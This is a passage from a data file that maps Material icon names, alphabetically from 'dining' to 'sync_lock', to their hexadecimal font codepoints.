eb7d, "dining": eff4, "dinner_dining": ea57, "directions": e52e, "directions_bike": e52f, "directions_boat": e532, "directions_boat_filled": eff5, "directions_bus": e530, "directions_bus_filled": eff6, "directions_car": e531, "directions_car_filled": eff7, "directions_ferry": e532, "directions_off": f10f, "directions_railway": e534, "directions_railway_filled": eff8, "directions_run": e566, "directions_subway": e533, "directions_subway_filled": eff9, "directions_train": e534, "directions_transit": e535, "directions_transit_filled": effa, "directions_walk": e536, "dirty_lens": ef4b, "disabled_by_default": f230, "disabled_visible": e76e, "disc_full": e610, "discord": ea6c, "discount": ebc9, "display_settings": eb97, "dnd_forwardslash": e611, "dns": e875, "do_disturb": f08c, "do_disturb_alt": f08d, "do_disturb_off": f08e, "do_disturb_on": f08f, "do_not_disturb": e612, "do_not_disturb_alt": e611, "do_not_disturb_off": e643, "do_not_disturb_on": e644, "do_not_disturb_on_total_silence": effb, "do_not_step": f19f, "do_not_touch": f1b0, "dock": e30e, "document_scanner": e5fa, "domain": e7ee, "domain_add": eb62, "domain_disabled": e0ef, "domain_verification": ef4c, "done": e876, "done_all": e877, "done_outline": e92f, "donut_large": e917, "donut_small": e918, "door_back": effc, "door_front": effd, "door_sliding": effe, "doorbell": efff, "double_arrow": ea50, "downhill_skiing": e509, "download": f090, "download_done": f091, "download_for_offline": f000, "downloading": f001, "drafts": e151, "drag_handle": e25d, "drag_indicator": e945, "draw": e746, "drive_eta": e613, "drive_file_move": e675, "drive_file_move_outline": e9a1, "drive_file_move_rtl": e76d, "drive_file_rename_outline": e9a2, "drive_folder_upload": e9a3, "dry": f1b3, "dry_cleaning": ea58, "duo": e9a5, "dvr": e1b2, "dynamic_feed": ea14, "dynamic_form": f1bf, "e_mobiledata": f002, "earbuds": f003, "earbuds_battery": f004, "east": f1df, "eco": ea35, "edgesensor_high": f005, "edgesensor_low": f006, "edit": e3c9, "edit_attributes": e578, "edit_calendar": e742, "edit_location": e568, "edit_location_alt": e1c5, "edit_note": e745, "edit_notifications": e525, "edit_off": e950, "edit_road": ef4d, "egg": eacc, "egg_alt": eac8, "eject": e8fb, "elderly": f21a, "elderly_woman": eb69, "electric_bike": eb1b, "electric_bolt": ec1c, "electric_car": eb1c, "electric_meter": ec1b, "electric_moped": eb1d, "electric_rickshaw": eb1e, "electric_scooter": eb1f, "electrical_services": f102, "elevator": f1a0, "email": e0be, "emergency": e1eb, "emergency_recording": ebf4, "emergency_share": ebf6, "emoji_emotions": ea22, "emoji_events": ea23, "emoji_flags": ea1a, "emoji_food_beverage": ea1b, "emoji_nature": ea1c, "emoji_objects": ea24, "emoji_people": ea1d, "emoji_symbols": ea1e, "emoji_transportation": ea1f, "energy_savings_leaf": ec1a, "engineering": ea3d, "enhance_photo_translate": e8fc, "enhanced_encryption": e63f, "equalizer": e01d, "error": e000, "error_outline": e001, "escalator": f1a1, "escalator_warning": f1ac, "euro": ea15, "euro_symbol": e926, "ev_station": e56d, "event": e878, "event_available": e614, "event_busy": e615, "event_note": e616, "event_repeat": eb7b, "event_seat": e903, "exit_to_app": e879, "expand": e94f, "expand_circle_down": e7cd, "expand_less": e5ce, "expand_more": e5cf, "explicit": e01e, "explore": e87a, "explore_off": e9a8, "exposure": e3ca, "exposure_minus_1": e3cb, "exposure_minus_2": e3cc, "exposure_neg_1": e3cb, "exposure_neg_2": e3cc, "exposure_plus_1": e3cd, "exposure_plus_2": e3ce, "exposure_zero": e3cf, "extension": e87b, "extension_off": e4f5, "face": e87c, "face_retouching_natural": ef4e, "face_retouching_off": f007, "facebook": f234, "fact_check": f0c5, "factory": ebbc, "family_restroom": f1a2, "fast_forward": e01f, "fast_rewind": e020, "fastfood": e57a, "favorite": e87d, "favorite_border": e87e, "favorite_outline": e87e, "fax": ead8, "featured_play_list": e06d, "featured_video": e06e, "feed": f009, "feedback": e87f, "female": e590, "fence": f1f6, "festival": ea68, "fiber_dvr": e05d, "fiber_manual_record": e061, "fiber_new": e05e, "fiber_pin": e06a, "fiber_smart_record": e062, "file_copy": e173, "file_download": e2c4, "file_download_done": e9aa, "file_download_off": e4fe, "file_open": eaf3, "file_present": ea0e, "file_upload": e2c6, "filter": e3d3, "filter_1": e3d0, "filter_2": e3d1, "filter_3": e3d2, "filter_4": e3d4, "filter_5": e3d5, "filter_6": e3d6, "filter_7": e3d7, "filter_8": e3d8, "filter_9": e3d9, "filter_9_plus": e3da, "filter_alt": ef4f, "filter_alt_off": eb32, "filter_b_and_w": e3db, "filter_center_focus": e3dc, "filter_drama": e3dd, "filter_frames": e3de, "filter_hdr": e3df, "filter_list": e152, "filter_list_alt": e94e, "filter_list_off": eb57, "filter_none": e3e0, "filter_tilt_shift": e3e2, "filter_vintage": e3e3, "find_in_page": e880, "find_replace": e881, "fingerprint": e90d, "fire_extinguisher": f1d8, "fire_hydrant": f1a3, "fire_hydrant_alt": f8f1, "fire_truck": f8f2, "fireplace": ea43, "first_page": e5dc, "fit_screen": ea10, "fitbit": e82b, "fitness_center": eb43, "flag": e153, "flag_circle": eaf8, "flaky": ef50, "flare": e3e4, "flash_auto": e3e5, "flash_off": e3e6, "flash_on": e3e7, "flashlight_off": f00a, "flashlight_on": f00b, "flatware": f00c, "flight": e539, "flight_class": e7cb, "flight_land": e904, "flight_takeoff": e905, "flip": e3e8, "flip_camera_android": ea37, "flip_camera_ios": ea38, "flip_to_back": e882, "flip_to_front": e883, "flood": ebe6, "flourescent": f00d, "flutter_dash": e00b, "fmd_bad": f00e, "fmd_good": f00f, "foggy": e818, "folder": e2c7, "folder_copy": ebbd, "folder_delete": eb34, "folder_off": eb83, "folder_open": e2c8, "folder_shared": e2c9, "folder_special": e617, "folder_zip": eb2c, "follow_the_signs": f222, "font_download": e167, "font_download_off": e4f9, "food_bank": f1f2, "forest": ea99, "fork_left": eba0, "fork_right": ebac, "format_align_center": e234, "format_align_justify": e235, "format_align_left": e236, "format_align_right": e237, "format_bold": e238, "format_clear": e239, "format_color_fill": e23a, "format_color_reset": e23b, "format_color_text": e23c, "format_indent_decrease": e23d, "format_indent_increase": e23e, "format_italic": e23f, "format_line_spacing": e240, "format_list_bulleted": e241, "format_list_numbered": e242, "format_list_numbered_rtl": e267, "format_overline": eb65, "format_paint": e243, "format_quote": e244, "format_shapes": e25e, "format_size": e245, "format_strikethrough": e246, "format_textdirection_l_to_r": e247, "format_textdirection_r_to_l": e248, "format_underline": e249, "format_underlined": e249, "fort": eaad, "forum": e0bf, "forward": e154, "forward_10": e056, "forward_30": e057, "forward_5": e058, "forward_to_inbox": f187, "foundation": f200, "free_breakfast": eb44, "free_cancellation": e748, "front_hand": e769, "fullscreen": e5d0, "fullscreen_exit": e5d1, "functions": e24a, "g_mobiledata": f010, "g_translate": e927, "gamepad": e30f, "games": e021, "garage": f011, "gas_meter": ec19, "gavel": e90e, "generating_tokens": e749, "gesture": e155, "get_app": e884, "gif": e908, "gif_box": e7a3, "girl": eb68, "gite": e58b, "goat": ebff, "golf_course": eb45, "gpp_bad": f012, "gpp_good": f013, "gpp_maybe": f014, "gps_fixed": e1b3, "gps_not_fixed": e1b4, "gps_off": e1b5, "grade": e885, "gradient": e3e9, "grading": ea4f, "grain": e3ea, "graphic_eq": e1b8, "grass": f205, "grid_3x3": f015, "grid_4x4": f016, "grid_goldenratio": f017, "grid_off": e3eb, "grid_on": e3ec, "grid_view": e9b0, "group": e7ef, "group_add": e7f0, "group_off": e747, "group_remove": e7ad, "group_work": e886, "groups": f233, "h_mobiledata": f018, "h_plus_mobiledata": f019, "hail": e9b1, "handshake": ebcb, "handyman": f10b, "hardware": ea59, "hd": e052, "hdr_auto": f01a, "hdr_auto_select": f01b, "hdr_enhanced_select": ef51, "hdr_off": e3ed, "hdr_off_select": f01c, "hdr_on": e3ee, "hdr_on_select": f01d, "hdr_plus": f01e, "hdr_strong": e3f1, "hdr_weak": e3f2, "headphones": f01f, "headphones_battery": f020, "headset": e310, "headset_mic": e311, "headset_off": e33a, "healing": e3f3, "health_and_safety": e1d5, "hearing": e023, "hearing_disabled": f104, "heart_broken": eac2, "heat_pump": ec18, "height": ea16, "help": e887, "help_center": f1c0, "help_outline": e8fd, "hevc": f021, "hexagon": eb39, "hide_image": f022, "hide_source": f023, "high_quality": e024, "highlight": e25f, "highlight_alt": ef52, "highlight_off": e888, "highlight_remove": e888, "hiking": e50a, "history": e889, "history_edu": ea3e, "history_toggle_off": f17d, "hive": eaa6, "hls": eb8a, "hls_off": eb8c, "holiday_village": e58a, "home": e88a, "home_filled": e9b2, "home_max": f024, "home_mini": f025, "home_repair_service": f100, "home_work": ea09, "horizontal_distribute": e014, "horizontal_rule": f108, "horizontal_split": e947, "hot_tub": eb46, "hotel": e53a, "hotel_class": e743, "hourglass_bottom": ea5c, "hourglass_disabled": ef53, "hourglass_empty": e88b, "hourglass_full": e88c, "hourglass_top": ea5b, "house": ea44, "house_siding": f202, "houseboat": e584, "how_to_reg": e174, "how_to_vote": e175, "html": eb7e, "http": e902, "https": e88d, "hub": e9f4, "hvac": f10e, "ice_skating": e50b, "icecream": ea69, "image": e3f4, "image_aspect_ratio": e3f5, "image_not_supported": f116, "image_search": e43f, "imagesearch_roller": e9b4, "import_contacts": e0e0, "import_export": e0c3, "important_devices": e912, "inbox": e156, "incomplete_circle": e79b, "indeterminate_check_box": e909, "info": e88e, "info_outline": e88f, "input": e890, "insert_chart": e24b, "insert_chart_outlined": e26a, "insert_comment": e24c, "insert_drive_file": e24d, "insert_emoticon": e24e, "insert_invitation": e24f, "insert_link": e250, "insert_page_break": eaca, "insert_photo": e251, "insights": f092, "install_desktop": eb71, "install_mobile": eb72, "integration_instructions": ef54, "interests": e7c8, "interpreter_mode": e83b, "inventory": e179, "inventory_2": e1a1, "invert_colors": e891, "invert_colors_off": e0c4, "invert_colors_on": e891, "ios_share": e6b8, "iron": e583, "iso": e3f6, "javascript": eb7c, "join_full": eaeb, "join_inner": eaf4, "join_left": eaf2, "join_right": eaea, "kayaking": e50c, "kebab_dining": e842, "key": e73c, "key_off": eb84, "keyboard": e312, "keyboard_alt": f028, "keyboard_arrow_down": e313, "keyboard_arrow_left": e314, "keyboard_arrow_right": e315, "keyboard_arrow_up": e316, "keyboard_backspace": e317, "keyboard_capslock": e318, "keyboard_command": eae0, "keyboard_command_key": eae7, "keyboard_control": e5d3, "keyboard_control_key": eae6, "keyboard_double_arrow_down": ead0, "keyboard_double_arrow_left": eac3, "keyboard_double_arrow_right": eac9, "keyboard_double_arrow_up": eacf, "keyboard_hide": e31a, "keyboard_option": eadf, "keyboard_option_key": eae8, "keyboard_return": e31b, "keyboard_tab": e31c, "keyboard_voice": e31d, "king_bed": ea45, "kitchen": eb47, "kitesurfing": e50d, "label": e892, "label_important": e937, "label_important_outline": e948, "label_off": e9b6, "label_outline": e893, "lan": eb2f, "landscape": e3f7, "landslide": ebd7, "language": e894, "laptop": e31e, "laptop_chromebook": e31f, "laptop_mac": e320, "laptop_windows": e321, "last_page": e5dd, "launch": e895, "layers": e53b, "layers_clear": e53c, "leaderboard": f20c, "leak_add": e3f8, "leak_remove": e3f9, "leave_bags_at_home": f21b, "legend_toggle": f11b, "lens": e3fa, "lens_blur": f029, "library_add": e02e, "library_add_check": e9b7, "library_books": e02f, "library_music": e030, "light": f02a, "light_mode": e518, "lightbulb": e0f0, "lightbulb_circle": ebfe, "lightbulb_outline": e90f, "line_axis": ea9a, "line_style": e919, "line_weight": e91a, "linear_scale": e260, "link": e157, "link_off": e16f, "linked_camera": e438, "liquor": ea60, "list": e896, "list_alt": e0ee, "live_help": e0c6, "live_tv": e639, "living": f02b, "local_activity": e53f, "local_airport": e53d, "local_atm": e53e, "local_attraction": e53f, "local_bar": e540, "local_cafe": e541, "local_car_wash": e542, "local_convenience_store": e543, "local_dining": e556, "local_drink": e544, "local_fire_department": ef55, "local_florist": e545, "local_gas_station": e546, "local_grocery_store": e547, "local_hospital": e548, "local_hotel": e549, "local_laundry_service": e54a, "local_library": e54b, "local_mall": e54c, "local_movies": e54d, "local_offer": e54e, "local_parking": e54f, "local_pharmacy": e550, "local_phone": e551, "local_pizza": e552, "local_play": e553, "local_police": ef56, "local_post_office": e554, "local_print_shop": e555, "local_printshop": e555, "local_restaurant": e556, "local_see": e557, "local_shipping": e558, "local_taxi": e559, "location_city": e7f1, "location_disabled": e1b6, "location_history": e55a, "location_off": e0c7, "location_on": e0c8, "location_pin": f1db, "location_searching": e1b7, "lock": e897, "lock_clock": ef57, "lock_open": e898, "lock_outline": e899, "lock_person": f8f3, "lock_reset": eade, "login": ea77, "logo_dev": ead6, "logout": e9ba, "looks": e3fc, "looks_3": e3fb, "looks_4": e3fd, "looks_5": e3fe, "looks_6": e3ff, "looks_one": e400, "looks_two": e401, "loop": e028, "loupe": e402, "low_priority": e16d, "loyalty": e89a, "lte_mobiledata": f02c, "lte_plus_mobiledata": f02d, "luggage": f235, "lunch_dining": ea61, "lyrics": ec0b, "mail": e158, "mail_lock": ec0a, "mail_outline": e0e1, "male": e58e, "man": e4eb, "manage_accounts": f02e, "manage_history": ebe7, "manage_search": f02f, "map": e55b, "maps_home_work": f030, "maps_ugc": ef58, "margin": e9bb, "mark_as_unread": e9bc, "mark_chat_read": f18b, "mark_chat_unread": f189, "mark_email_read": f18c, "mark_email_unread": f18a, "mark_unread_chat_alt": eb9d, "markunread": e159, "markunread_mailbox": e89b, "masks": f218, "maximize": e930, "media_bluetooth_off": f031, "media_bluetooth_on": f032, "mediation": efa7, "medical_information": ebed, "medical_services": f109, "medication": f033, "medication_liquid": ea87, "meeting_room": eb4f, "memory": e322, "menu": e5d2, "menu_book": ea19, "menu_open": e9bd, "merge": eb98, "merge_type": e252, "message": e0c9, "messenger": e0ca, "messenger_outline": e0cb, "mic": e029, "mic_external_off": ef59, "mic_external_on": ef5a, "mic_none": e02a, "mic_off": e02b, "microwave": f204, "military_tech": ea3f, "minimize": e931, "minor_crash": ebf1, "miscellaneous_services": f10c, "missed_video_call": e073, "mms": e618, "mobile_friendly": e200, "mobile_off": e201, "mobile_screen_share": e0e7, "mobiledata_off": f034, "mode": f097, "mode_comment": e253, "mode_edit": e254, "mode_edit_outline": f035, "mode_fan_off": ec17, "mode_night": f036, "mode_of_travel": e7ce, "mode_standby": f037, "model_training": f0cf, "monetization_on": e263, "money": e57d, "money_off": e25c, "money_off_csred": f038, "monitor": ef5b, "monitor_heart": eaa2, "monitor_weight": f039, "monochrome_photos": e403, "mood": e7f2, "mood_bad": e7f3, "moped": eb28, "more": e619, "more_horiz": e5d3, "more_time": ea5d, "more_vert": e5d4, "mosque": eab2, "motion_photos_auto": f03a, "motion_photos_off": e9c0, "motion_photos_on": e9c1, "motion_photos_pause": f227, "motion_photos_paused": e9c2, "motorcycle": e91b, "mouse": e323, "move_down": eb61, "move_to_inbox": e168, "move_up": eb64, "movie": e02c, "movie_creation": e404, "movie_filter": e43a, "moving": e501, "mp": e9c3, "multiline_chart": e6df, "multiple_stop": f1b9, "multitrack_audio": e1b8, "museum": ea36, "music_note": e405, "music_off": e440, "music_video": e063, "my_library_add": e02e, "my_library_books": e02f, "my_library_music": e030, "my_location": e55c, "nat": ef5c, "nature": e406, "nature_people": e407, "navigate_before": e408, "navigate_next": e409, "navigation": e55d, "near_me": e569, "near_me_disabled": f1ef, "nearby_error": f03b, "nearby_off": f03c, "nest_cam_wired_stand": ec16, "network_cell": e1b9, "network_check": e640, "network_locked": e61a, "network_ping": ebca, "network_wifi": e1ba, "network_wifi_1_bar": ebe4, "network_wifi_2_bar": ebd6, "network_wifi_3_bar": ebe1, "new_label": e609, "new_releases": e031, "newspaper": eb81, "next_plan": ef5d, "next_week": e16a, "nfc": e1bb, "night_shelter": f1f1, "nightlife": ea62, "nightlight": f03d, "nightlight_round": ef5e, "nights_stay": ea46, "no_accounts": f03e, "no_adult_content": f8fe, "no_backpack": f237, "no_cell": f1a4, "no_crash": ebf0, "no_drinks": f1a5, "no_encryption": e641, "no_encryption_gmailerrorred": f03f, "no_flash": f1a6, "no_food": f1a7, "no_luggage": f23b, "no_meals": f1d6, "no_meals_ouline": f229, "no_meeting_room": eb4e, "no_photography": f1a8, "no_sim": e0cc, "no_stroller": f1af, "no_transfer": f1d5, "noise_aware": ebec, "noise_control_off": ebf3, "nordic_walking": e50e, "north": f1e0, "north_east": f1e1, "north_west": f1e2, "not_accessible": f0fe, "not_interested": e033, "not_listed_location": e575, "not_started": f0d1, "note": e06f, "note_add": e89c, "note_alt": f040, "notes": e26c, "notification_add": e399, "notification_important": e004, "notifications": e7f4, "notifications_active": e7f7, "notifications_none": e7f5, "notifications_off": e7f6, "notifications_on": e7f7, "notifications_paused": e7f8, "now_wallpaper": e1bc, "now_widgets": e1bd, "numbers": eac7, "offline_bolt": e932, "offline_pin": e90a, "offline_share": e9c5, "oil_barrel": ec15, "on_device_training": ebfd, "ondemand_video": e63a, "online_prediction": f0eb, "opacity": e91c, "open_in_browser": e89d, "open_in_full": f1ce, "open_in_new": e89e, "open_in_new_off": e4f6, "open_with": e89f, "other_houses": e58c, "outbond": f228, "outbound": e1ca, "outbox": ef5f, "outdoor_grill": ea47, "outgoing_mail": f0d2, "outlet": f1d4, "outlined_flag": e16e, "output": ebbe, "padding": e9c8, "pages": e7f9, "pageview": e8a0, "paid": f041, "palette": e40a, "pan_tool": e925, "pan_tool_alt": ebb9, "panorama": e40b, "panorama_fish_eye": e40c, "panorama_fisheye": e40c, "panorama_horizontal": e40d, "panorama_horizontal_select": ef60, "panorama_photosphere": e9c9, "panorama_photosphere_select": e9ca, "panorama_vertical": e40e, "panorama_vertical_select": ef61, "panorama_wide_angle": e40f, "panorama_wide_angle_select": ef62, "paragliding": e50f, "park": ea63, "party_mode": e7fa, "password": f042, "pattern": f043, "pause": e034, "pause_circle": e1a2, "pause_circle_filled": e035, "pause_circle_outline": e036, "pause_presentation": e0ea, "payment": e8a1, "payments": ef63, "paypal": ea8d, "pedal_bike": eb29, "pending": ef64, "pending_actions": f1bb, "pentagon": eb50, "people": e7fb, "people_alt": ea21, "people_outline": e7fc, "percent": eb58, "perm_camera_mic": e8a2, "perm_contact_cal": e8a3, "perm_contact_calendar": e8a3, "perm_data_setting": e8a4, "perm_device_info": e8a5, "perm_device_information": e8a5, "perm_identity": e8a6, "perm_media": e8a7, "perm_phone_msg": e8a8, "perm_scan_wifi": e8a9, "person": e7fd, "person_add": e7fe, "person_add_alt": ea4d, "person_add_alt_1": ef65, "person_add_disabled": e9cb, "person_off": e510, "person_outline": e7ff, "person_pin": e55a, "person_pin_circle": e56a, "person_remove": ef66, "person_remove_alt_1": ef67, "person_search": f106, "personal_injury": e6da, "personal_video": e63b, "pest_control": f0fa, "pest_control_rodent": f0fd, "pets": e91d, "phishing": ead7, "phone": e0cd, "phone_android": e324, "phone_bluetooth_speaker": e61b, "phone_callback": e649, "phone_disabled": e9cc, "phone_enabled": e9cd, "phone_forwarded": e61c, "phone_in_talk": e61d, "phone_iphone": e325, "phone_locked": e61e, "phone_missed": e61f, "phone_paused": e620, "phonelink": e326, "phonelink_erase": e0db, "phonelink_lock": e0dc, "phonelink_off": e327, "phonelink_ring": e0dd, "phonelink_setup": e0de, "photo": e410, "photo_album": e411, "photo_camera": e412, "photo_camera_back": ef68, "photo_camera_front": ef69, "photo_filter": e43b, "photo_library": e413, "photo_size_select_actual": e432, "photo_size_select_large": e433, "photo_size_select_small": e434, "php": eb8f, "piano": e521, "piano_off": e520, "picture_as_pdf": e415, "picture_in_picture": e8aa, "picture_in_picture_alt": e911, "pie_chart": e6c4, "pie_chart_outline": f044, "pie_chart_outlined": e6c5, "pin": f045, "pin_drop": e55e, "pin_end": e767, "pin_invoke": e763, "pinch": eb38, "pivot_table_chart": e9ce, "pix": eaa3, "place": e55f, "plagiarism": ea5a, "play_arrow": e037, "play_circle": e1c4, "play_circle_fill": e038, "play_circle_filled": e038, "play_circle_outline": e039, "play_disabled": ef6a, "play_for_work": e906, "play_lesson": f047, "playlist_add": e03b, "playlist_add_check": e065, "playlist_add_check_circle": e7e6, "playlist_add_circle": e7e5, "playlist_play": e05f, "playlist_remove": eb80, "plumbing": f107, "plus_one": e800, "podcasts": f048, "point_of_sale": f17e, "policy": ea17, "poll": e801, "polyline": ebbb, "polymer": e8ab, "pool": eb48, "portable_wifi_off": e0ce, "portrait": e416, "post_add": ea20, "power": e63c, "power_input": e336, "power_off": e646, "power_settings_new": e8ac, "precision_manufacturing": f049, "pregnant_woman": e91e, "present_to_all": e0df, "preview": f1c5, "price_change": f04a, "price_check": f04b, "print": e8ad, "print_disabled": e9cf, "priority_high": e645, "privacy_tip": f0dc, "private_connectivity": e744, "production_quantity_limits": e1d1, "propane": ec14, "propane_tank": ec13, "psychology": ea4a, "psychology_alt": f8ea, "public": e80b, "public_off": f1ca, "publish": e255, "published_with_changes": f232, "punch_clock": eaa8, "push_pin": f10d, "qr_code": ef6b, "qr_code_2": e00a, "qr_code_scanner": f206, "query_builder": e8ae, "query_stats": e4fc, "question_answer": e8af, "question_mark": eb8b, "queue": e03c, "queue_music": e03d, "queue_play_next": e066, "quick_contacts_dialer": e0cf, "quick_contacts_mail": e0d0, "quickreply": ef6c, "quiz": f04c, "quora": ea98, "r_mobiledata": f04d, "radar": f04e, "radio": e03e, "radio_button_checked": e837, "radio_button_off": e836, "radio_button_on": e837, "radio_button_unchecked": e836, "railway_alert": e9d1, "ramen_dining": ea64, "ramp_left": eb9c, "ramp_right": eb96, "rate_review": e560, "raw_off": f04f, "raw_on": f050, "read_more": ef6d, "real_estate_agent": e73a, "receipt": e8b0, "receipt_long": ef6e, "recent_actors": e03f, "recommend": e9d2, "record_voice_over": e91f, "rectangle": eb54, "recycling": e760, "reddit": eaa0, "redeem": e8b1, "redo": e15a, "reduce_capacity": f21c, "refresh": e5d5, "remember_me": f051, "remove": e15b, "remove_circle": e15c, "remove_circle_outline": e15d, "remove_done": e9d3, "remove_from_queue": e067, "remove_moderator": e9d4, "remove_red_eye": e417, "remove_road": ebfc, "remove_shopping_cart": e928, "reorder": e8fe, "repartition": f8e8, "repeat": e040, "repeat_on": e9d6, "repeat_one": e041, "repeat_one_on": e9d7, "replay": e042, "replay_10": e059, "replay_30": e05a, "replay_5": e05b, "replay_circle_filled": e9d8, "reply": e15e, "reply_all": e15f, "report": e160, "report_gmailerrorred": f052, "report_off": e170, "report_problem": e8b2, "request_page": f22c, "request_quote": f1b6, "reset_tv": e9d9, "restart_alt": f053, "restaurant": e56c, "restaurant_menu": e561, "restore": e8b3, "restore_from_trash": e938, "restore_page": e929, "reviews": f054, "rice_bowl": f1f5, "ring_volume": e0d1, "rocket": eba5, "rocket_launch": eb9b, "roller_shades": ec12, "roller_shades_closed": ec11, "roller_skating": ebcd, "roofing": f201, "room": e8b4, "room_preferences": f1b8, "room_service": eb49, "rotate_90_degrees_ccw": e418, "rotate_90_degrees_cw": eaab, "rotate_left": e419, "rotate_right": e41a, "roundabout_left": eb99, "roundabout_right": eba3, "rounded_corner": e920, "route": eacd, "router": e328, "rowing": e921, "rss_feed": e0e5, "rsvp": f055, "rtt": e9ad, "rule": f1c2, "rule_folder": f1c9, "run_circle": ef6f, "running_with_errors": e51d, "rv_hookup": e642, "safety_check": ebef, "safety_divider": e1cc, "sailing": e502, "sanitizer": f21d, "satellite": e562, "satellite_alt": eb3a, "save": e161, "save_alt": e171, "save_as": eb60, "saved_search": ea11, "savings": e2eb, "scale": eb5f, "scanner": e329, "scatter_plot": e268, "schedule": e8b5, "schedule_send": ea0a, "schema": e4fd, "school": e80c, "science": ea4b, "score": e269, "scoreboard": ebd0, "screen_lock_landscape": e1be, "screen_lock_portrait": e1bf, "screen_lock_rotation": e1c0, "screen_rotation": e1c1, "screen_rotation_alt": ebee, "screen_search_desktop": ef70, "screen_share": e0e2, "screenshot": f056, "screenshot_monitor": ec08, "scuba_diving": ebce, "sd": e9dd, "sd_card": e623, "sd_card_alert": f057, "sd_storage": e1c2, "search": e8b6, "search_off": ea76, "security": e32a, "security_update": f058, "security_update_good": f059, "security_update_warning": f05a, "segment": e94b, "select_all": e162, "self_improvement": ea78, "sell": f05b, "send": e163, "send_and_archive": ea0c, "send_time_extension": eadb, "send_to_mobile": f05c, "sensor_door": f1b5, "sensor_occupied": ec10, "sensor_window": f1b4, "sensors": e51e, "sensors_off": e51f, "sentiment_dissatisfied": e811, "sentiment_neutral": e812, "sentiment_satisfied": e813, "sentiment_satisfied_alt": e0ed, "sentiment_very_dissatisfied": e814, "sentiment_very_satisfied": e815, "set_meal": f1ea, "settings": e8b8, "settings_accessibility": f05d, "settings_applications": e8b9, "settings_backup_restore": e8ba, "settings_bluetooth": e8bb, "settings_brightness": e8bd, "settings_cell": e8bc, "settings_display": e8bd, "settings_ethernet": e8be, "settings_input_antenna": e8bf, "settings_input_component": e8c0, "settings_input_composite": e8c1, "settings_input_hdmi": e8c2, "settings_input_svideo": e8c3, "settings_overscan": e8c4, "settings_phone": e8c5, "settings_power": e8c6, "settings_remote": e8c7, "settings_suggest": f05e, "settings_system_daydream": e1c3, "settings_voice": e8c8, "severe_cold": ebd3, "share": e80d, "share_arrival_time": e524, "share_location": f05f, "shield": e9e0, "shield_moon": eaa9, "shop": e8c9, "shop_2": e19e, "shop_two": e8ca, "shopify": ea9d, "shopping_bag": f1cc, "shopping_basket": e8cb, "shopping_cart": e8cc, "shopping_cart_checkout": eb88, "short_text": e261, "shortcut": f060, "show_chart": e6e1, "shower": f061, "shuffle": e043, "shuffle_on": e9e1, "shutter_speed": e43d, "sick": f220, "sign_language": ebe5, "signal_cellular_0_bar": f0a8, "signal_cellular_4_bar": e1c8, "signal_cellular_alt": e202, "signal_cellular_alt_1_bar": ebdf, "signal_cellular_alt_2_bar": ebe3, "signal_cellular_connected_no_internet_0_bar": f0ac, "signal_cellular_connected_no_internet_4_bar": e1cd, "signal_cellular_no_sim": e1ce, "signal_cellular_nodata": f062, "signal_cellular_null": e1cf, "signal_cellular_off": e1d0, "signal_wifi_0_bar": f0b0, "signal_wifi_4_bar": e1d8, "signal_wifi_4_bar_lock": e1d9, "signal_wifi_bad": f063, "signal_wifi_connected_no_internet_4": f064, "signal_wifi_off": e1da, "signal_wifi_statusbar_4_bar": f065, "signal_wifi_statusbar_connected_no_internet_4": f066, "signal_wifi_statusbar_null": f067, "signpost": eb91, "sim_card": e32b, "sim_card_alert": e624, "sim_card_download": f068, "single_bed": ea48, "sip": f069, "skateboarding": e511, "skip_next": e044, "skip_previous": e045, "sledding": e512, "slideshow": e41b, "slow_motion_video": e068, "smart_button": f1c1, "smart_display": f06a, "smart_screen": f06b, "smart_toy": f06c, "smartphone": e32c, "smoke_free": eb4a, "smoking_rooms": eb4b, "sms": e625, "sms_failed": e626, "snapchat": ea6e, "snippet_folder": f1c7, "snooze": e046, "snowboarding": e513, "snowing": e80f, "snowmobile": e503, "snowshoeing": e514, "soap": f1b2, "social_distance": e1cb, "solar_power": ec0f, "sort": e164, "sort_by_alpha": e053, "sos": ebf7, "soup_kitchen": e7d3, "source": f1c4, "south": f1e3, "south_america": e7e4, "south_east": f1e4, "south_west": f1e5, "spa": eb4c, "space_bar": e256, "space_dashboard": e66b, "spatial_audio": ebeb, "spatial_audio_off": ebe8, "spatial_tracking": ebea, "speaker": e32d, "speaker_group": e32e, "speaker_notes": e8cd, "speaker_notes_off": e92a, "speaker_phone": e0d2, "speed": e9e4, "spellcheck": e8ce, "splitscreen": f06d, "spoke": e9a7, "sports": ea30, "sports_bar": f1f3, "sports_baseball": ea51, "sports_basketball": ea26, "sports_cricket": ea27, "sports_esports": ea28, "sports_football": ea29, "sports_golf": ea2a, "sports_gymnastics": ebc4, "sports_handball": ea33, "sports_hockey": ea2b, "sports_kabaddi": ea34, "sports_martial_arts": eae9, "sports_mma": ea2c, "sports_motorsports": ea2d, "sports_rugby": ea2e, "sports_score": f06e, "sports_soccer": ea2f, "sports_tennis": ea32, "sports_volleyball": ea31, "square": eb36, "square_foot": ea49, "ssid_chart": eb66, "stacked_bar_chart": e9e6, "stacked_line_chart": f22b, "stadium": eb90, "stairs": f1a9, "star": e838, "star_border": e83a, "star_border_purple500": f099, "star_half": e839, "star_outline": f06f, "star_purple500": f09a, "star_rate": f0ec, "stars": e8d0, "start": e089, "stay_current_landscape": e0d3, "stay_current_portrait": e0d4, "stay_primary_landscape": e0d5, "stay_primary_portrait": e0d6, "sticky_note_2": f1fc, "stop": e047, "stop_circle": ef71, "stop_screen_share": e0e3, "storage": e1db, "store": e8d1, "store_mall_directory": e563, "storefront": ea12, "storm": f070, "straight": eb95, "straighten": e41c, "stream": e9e9, "streetview": e56e, "strikethrough_s": e257, "stroller": f1ae, "style": e41d, "subdirectory_arrow_left": e5d9, "subdirectory_arrow_right": e5da, "subject": e8d2, "subscript": f111, "subscriptions": e064, "subtitles": e048, "subtitles_off": ef72, "subway": e56f, "summarize": f071, "sunny": e81a, "sunny_snowing": e819, "superscript": f112, "supervised_user_circle": e939, "supervisor_account": e8d3, "support": ef73, "support_agent": f0e2, "surfing": e515, "surround_sound": e049, "swap_calls": e0d7, "swap_horiz": e8d4, "swap_horizontal_circle": e933, "swap_vert": e8d5, "swap_vert_circle": e8d6, "swap_vertical_circle": e8d6, "swipe": e9ec, "swipe_down": eb53, "swipe_down_alt": eb30, "swipe_left": eb59, "swipe_left_alt": eb33, "swipe_right": eb52, "swipe_right_alt": eb56, "swipe_up": eb2e, "swipe_up_alt": eb35, "swipe_vertical": eb51, "switch_access_shortcut": e7e1, "switch_access_shortcut_add": e7e2, "switch_account": e9ed, "switch_camera": e41e, "switch_left": f1d1, "switch_right": f1d2, "switch_video": e41f, "synagogue": eab0, "sync": e627, "sync_alt": ea18, "sync_disabled": e628, "sync_lock": eaee, 